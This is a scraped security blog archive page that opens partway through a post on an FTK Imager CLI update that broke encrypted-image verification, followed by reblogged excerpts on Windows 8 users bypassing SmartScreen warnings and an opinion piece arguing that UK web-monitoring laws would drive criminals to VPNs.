This seemed to be odd since new version of software supposed to fix problems and not break what was working just fine. The natural thing was to think that it must have been the command line options I used, the spelling of words, or the spaces. Then, the private key and password were blamed. Then, in a final attempt, I wanted to see if the previous version was able to access the image and verify it. It worked. It felt grate to verify that I do know how to spell and remembered my password correctly. The image was not lost and a lesson was learned about the value of tool testing.

C:FTK ImagerCLI 2.9.0_Win32>ftkimager.exe c:tempusb.E01 –verify –incert c:temppri.pfx p@$$w0rd
AccessData FTK Imager v2.9 CLI (May 11 2010)
Copyright 2006-2010 AccessData Corp., 384 South 400 West, Lindon, UT 84042
All rights reserved.

Verifying image…
Image verification complete.
[MD5]
Computed hash: 08d27c2233aee57c95ddecb0386e1e6f
Image hash:    08d27c2233aee57c95ddecb0386e1e6f
Report hash:   08d27c2233aee57c95ddecb0386e1e6f
Verify result: Match
[SHA1]
Computed hash: 38e1d87975594abd14608960e2236737619f08db
Image hash:    38e1d87975594abd14608960e2236737619f08db
Report hash:   38e1d87975594abd14608960e2236737619f08db
Verify result: Match

Problems like this must be treated as a valuable lesson that no books and training classes can relay. Know your tools and you should treat every update with caution. Maybe there is a good reason for projects like NIST’s Computer Forensics Tool Testing (CFTT) Project. It would have been an interesting feeling to find out that you couldn’t decrypt an encrypted evidence file. There is no substitute for risk management and methodological problem solving. I do hope that AccessData will remedy this issue and will not create another “teachable moment” in future releases.

P.S. It still does not make sense why the User Manual PDF file does not show the — ( double dashes ) that are required for the options to work. It’s been like that since the first release.

Windows 8: Important Considerations for Computer Forensics and Electronic Discovery

Leave a reply

View this document on Scribd

Windows 8 – Social Engineering, Remote Shells and the Weakest Security Link

Leave a reply

reblogged from http://cyberarms.wordpress.com/2012/12/04/windows-8-social-engineering-remote-shells-and-the-weakest-security-link/

Windows 8 Screenshot in Backtrack 5

Windows 8 security features have been vastly improved over Windows 7 and XP. And it will stop many attacks that still work in the older versions of Windows. But with all of it’s advances the main security weakest link still remains – the user.

I have installed and supported Microsoft products from MS Dos 2.2 to the current systems. But I do confess, as with Windows ME and Vista, I am no fan of Windows 8. But I must admit, it is more secure than Windows 7. But, like it’s predecessors, it has one fatal flaw.

It let’s users run programs.

Granted it does it’s best to warn them that the “uber cool” program that they MUST have probably isn’t safe. Even stopping them when they had it sent to them via e-mail and they tried to run it.

As we see here:

Windows Protected your PC

This ends the malicious social engineering e-mail attack attempt. Some user’s would accept defeat at this point, and hit the big “OK” button, which returns the user to the safety of the desktop. So, foiled again in their attempt to ruin your day, they leave their desktop and go to find a printer that they can jam.

But this just won’t do for the determined user. You know, the one who’s sole purpose in life is to circumvent every security feature that you try to protect them with. So, of course, they hit the small “more info” link on the security message above. And Windows 8 gives them one more chance to stop the attack:

Unknown Publisher

And, as you know, most users will promptly see the error of their ways, and select “Don’t Run”.

Okay, who am I kidding?

Of course they are going to hit “Run Anyway”…….

Windows 8 – Social Engineering, Remote Shells and the Weakest Security Link

Leave a reply

CYBER ARMS - Computer Security

Windows 8 Screenshot in Backtrack 5

It let’s users run programs.

As we see here:

Windows Protected your PC

This ends the malicious social engineering e-mail…

View original post 599 more words

Why Internet Monitoring Laws Will Make Criminals Harder to Catch [Opinion]

Leave a reply

reblogged from http://www.makeuseof.com/tag/why-internet-monitoring-laws-will-make-criminals-harder/

While the ITU is busy behind closed doors trying to take away Internet freedoms on a global scale, the UK government brazenly announced plans to give wide-reaching Internet monitoring powers to various British agencies as well as increasing the amount of retention time of data ISPs must store.

Although the so-called “web snooping” plans have been met with widespread criticism and the Prime Minister has announced they would need to be adjusted, the UK government is insistent that some form of monitoring powers will be enacted, as they are “increasingly neccssary to tackle extremists, paedophiles and fraudsters”.

The Proposals

As it stands, the proposals for those Internet monitoring laws are as follows:

ISPs must keep records for 1 year of all data transmissions including time, duration, originating device, and recipient.
ISPs must record browsing history, emails, VOIP calls, gaming activity and social media messages.
Police would not need permission to access basic details of this data, but they would need a warrant in order to get at the actual content of the message or data in question.

Bear in mind these are due to be rewritten somewhat, but the core principles will stay; and while this may be UK-specific, you can be certain the US government is planning something similar.

So, What’s The Problem?

I’m not even going to touch upon the obvious invasion of privacy that these new laws represent. We all know that any form of stored data can and will be hacked, but there are others are out there to fight that particular battle.

Let me then preface this by saying that I’m certainly not a “privacy nut”. I don’t think you should break the Internet by blocking advertising cookies, and I’m actually in favour of making ID cards mandatory for everyone in the UK. But these web snooping laws pose a clear danger to society, and here’s why – they will have the opposite of the intended effect.

internet monitoring laws

I posit that by giving law enforcement agencies broad reaching powers to examine web records, the criminals will get smarter; it will be harder to catch them, not easier. At the moment, police already have the power to subpoena information on criminals if they can justify it to a court; and they do. And right now, I suspect that not all criminals are smart enough to hide their tracks properly, to use secure protocols and encrypt data transmissions.

But anyone who reads this blog will know about such simple technologies like VPNs, which encrypt traffic and prevent even your ISP from having the slightest clue what you’re doing online – so keeping a year’s worth of ISP records would be worthless. I know, because I use one myself. If the government had the power to snoop on any of our web traffic, it’s reasonable to assume that the usage of such services would skyrocket. It would suddenly become a necessity rather than a luxury for using the Internet at all, and this applies to criminals as well as the public.

Not just VPNs either, but all manner of existing encrypted protocols and secure transmission methods would become public knowledge out of sheer necessity. If you know for sure that someone is staring through your windows, you buy curtains.

The Evolution Of Protocols & Software

Not only would everyone use existing technologies and services to further enhance their privacy, the Internet itself would evolve to support even greater levels of privacy than currently possible – for both you and I – as well as the paedeophiles, the terrorists, and the scammers.

There is a precedence for this form of protocol and software evolution. Remember Napster? It was a pretty slow and laborious way of sharing songs with a few friends; the music industry was quick to shut it down, and piracy was once more erased from existence. The problem of copyright infringement was solved!

internet monitoring laws

Please forgive my droll British sarcasm, because as we all know, the problem was not solved. Far from it – piracy got worse. New software was developed which not only shared music, but movies too. Then they shut that down. The Internet evolved again, moving beyond simple one-to-one file sharing to developing the distributed download torrent protocol. It was now faster and easier than ever to share an entire collection of GBs of files with anyone – potentially millions of people at the same time.

So now they set to work on shutting down the sites that “host” these torrent files; and look what that did! The sites gained exposure – the PirateBay’s traffic actually went up – and the torrent protocol evolved again to no longer require hosting sites or trackers. Time and time again, it has been proven that tackling piracy only made the problem worse.

I think the exact same process will happen when these laws come into play. The Internet will evolve – again. New protocols and easy to use encryption services – virtualy uncrackable – and the widespread proliferation of VPNs that securely hide your traffic and keep no records – will become the norm. Will VPNs become illegal too?

As a technology writer, I’m at the forefront of technology – I’ll make sure that myself, my family and my readers are well versed in securing their online activities. We don’t have anything to worry about. But I believe the police do actually have enough powers to catch online criminals already. Moreover, I’m afraid that by enacting these catastrophic Internet monitoring laws, the UK government will forever make Britain less safe and online criminals harder to catch. We won’t know about the next homegrown terror plot to blow up London, because they’ll be using a VPN.

	Mapping Wi-Fi Signal… on Immaterials: Light painting…
	Supercomputer Review… on Why You Shouldn’t Train…
	Prinjie Dela Peña Su… on When To Outsource Security…
	Why multi-word passw… on Password Dumps and analysis (a…
	D. Dieterle on Password Dumps and analysis (a…

[STO Strategy]

This WordPress.com site is the cat’s pajamas

Monthly Archives: December 2012

Crisis: Advanced Malware

Pentest VMware with VASTO!

Conclusion

.NET Reversing

Demystifying Dot NET Reverse Engineering, Part 1: Big Introduction

Demystifying dot NET reverse engineering – PART 2: Introducing Byte Patching

Demystifying dot NET reverse engineering – PART 3: Advanced Byte Patching

The SIM-card filesystem in details

Plists, XML and XPATH – A Series

What is XML?

Special XML Markups and Syntax Rules

Binary Plists

Encrypt it, but Don’t Trust It

Windows 8: Important Considerations for Computer Forensics and Electronic Discovery

Windows 8 – Social Engineering, Remote Shells and the Weakest Security Link

Windows 8 – Social Engineering, Remote Shells and the Weakest Security Link

Why Internet Monitoring Laws Will Make Criminals Harder to Catch [Opinion]

The Proposals

So, What’s The Problem?

The Evolution Of Protocols & Software

Share this:

Conclusion

Share this:

Demystifying Dot NET Reverse Engineering, Part 1: Big Introduction

Demystifying dot NET reverse engineering – PART 2: Introducing Byte Patching

Demystifying dot NET reverse engineering – PART 3: Advanced Byte Patching

Share this:

Share this:

What is XML?

Special XML Markups and Syntax Rules

Binary Plists

Share this:

Share this:

Share this:

Share this:

Share this:

The Proposals

So, What’s The Problem?

The Evolution Of Protocols & Software

Share this: